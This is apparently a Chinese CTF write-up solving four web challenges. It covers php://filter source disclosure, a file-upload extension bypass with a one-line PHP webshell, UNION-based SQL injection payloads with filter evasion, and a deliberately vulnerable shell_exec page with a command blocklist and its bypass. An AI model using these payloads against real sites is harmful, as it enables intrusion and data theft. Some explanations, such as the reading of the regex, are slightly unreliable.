一个朴实无华的页面
用爬虫协议robots.txt访问,发现/0e1G7.php为不允许爬虫访问的目录
访问该文件,查看文件内容,根据文件内容可知,此题过滤了base,将base用???替代,上传参数为G7
利用php://filter协议写一个简单的payload:G7=php://filter/read=convert.base64-encode/resource=flag.php,得到base64编码的flag
解码得到flag
这都不做
直接上传php文件,报错
查阅资料得知:
报错信息 "invalid file type! jpg only!!" 表示上传的文件类型不是有效的 JPEG 图片格式。这通常发生在上传文件到服务器时,服务器期望接收 JPEG 图片,但是收到的文件类型不是 .jpg、.jpeg 或者服务器能识别的相应图片格式。
解决方法:
检查上传的文件确实是 JPEG 图片。如果不是,请将其转换成 JPEG 格式。
确认文件扩展名是否正确,有时候错误的文件扩展名也会导致这个问题。
如果你正在编写代码上传文件,请检查代码中设置文件类型的部分,确保正确设置了 MIME 类型为 "image/jpeg"。
如果你是在使用某个应用或服务,请检查该应用或服务的文档,确认它支持的文件类型,并按照要求进行操作。
如果你是网站管理员,检查服务器配置,确保它正确地识别 JPEG 图片,并且接受的 MIME 类型包括 "image/jpeg"。
在解决问题时,请确保遵循应用程序或服务的安全指南,不要上传可能对系统造成威胁的文件格式。
将shell.php改为jpg上传,报错,提示某个文件包含了PHP代码,在上传时不被允许,也就是过滤了php
抓包,把shell.jpg文件改为shell.pphphp(双写绕过php)文件,一句话木马中的php用随意字符替代,上传成功
用蚁剑连接,查看网页文件夹,得到flag
斗宗强者恐怖如斯
根据提示给出的用户名admin,用bp爆破密码为admin123
登录成功得到第二个网页,查看url,得到id=1时页面返回正常
输入id=1',页面报错,判断存在sql注入漏洞
输入?id=-1') union select 1,2,3--+判断显错位,显错位为3
输入?id=-1') union select 1,2,database()--+爆库名,得到库名xitif_sql
输入id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='xitif_sql'--+爆表名,页面报错,查看报错信息,发现or被过滤,双写or绕过过滤
输入id=-1') union select 1,2,group_concat(table_name) from infoorrmation_schema.tables where table_schema='xitif_sql'--+爆表名,得到表flag
输入?id=-1') union select 1,2,group_concat(column_name) from infoorrmation_schema.columns where table_name='flag'--+爆列名,得到列flAg
输入?id=-1') union select 1,2,group_concat(flAg) from flag--+爆数据,得到flag
Rceeee
题目源码
<?php
error_reporting(0);
highlight_file(__FILE__);
function strCheck($cmd)
{
if(!preg_match("/\;|\&|\\$|\x09|\x26|tac|cat|more|less|head|sort|tail|sed|cut|awk|strings|od|php|ping|flag/i", $cmd)){
return($cmd);
}
else{
die("你的想法很有趣.....");
}
}
$cmd=$_GET['cmd'];
strCheck($cmd);
shell_exec($cmd);
?>
查阅资料可知,此题为RCE无回显,代码可解释为:
这段 PHP 代码的主要功能是接收一个通过 GET 请求传递的 cmd 参数,然后执行这个参数作为 shell 命令。但是,在执行之前,它会通过一个名为 strCheck 的函数来检查这个命令是否包含某些特定的字符串或字符。
strCheck 函数使用 preg_match 函数来检查 $cmd 参数中是否包含以下任何一项:
分号 (;)
与号 (&)
反斜杠 (\)
制表符 (\x09)
与号(ASCII码 \x26)
tac
cat
more
less
head
sort
tail
sed
cut
awk
strings
od
php
ping
flag如果 $cmd 参数包含以上任何一项,strCheck 函数将终止脚本执行并返回 "你的想法很有趣....."。
然而,这段代码存在一个明显的安全问题,那就是即使进行了这样的检查,它仍然允许执行 shell 命令,这可能导致命令注入攻击。尽管 strCheck 函数尝试阻止一些常见的用于读取文件或执行恶意操作的命令,但是攻击者仍然可能构造出绕过这些检查的命令。
例如,攻击者可以发送一个编码过的命令,或者在 cmd 参数中插入空格或其他字符来绕过 strCheck 函数的检查。此外,shell_exec 函数本身就是一个不安全的函数,因为它允许执行任意的 shell 命令。
使用写入一个文件并访问的方法做题,在url传参?cmd=cat flag | tee 1.txt,即使用命令tee,将cmd的执行结果保存到1.txt中
由于题目对cat和flag进行了过滤,这里使用符号/和符号\绕过,最终payload为?cmd=c\at fl/ag | tee 1.txt
尝试访问1.txt,得到flag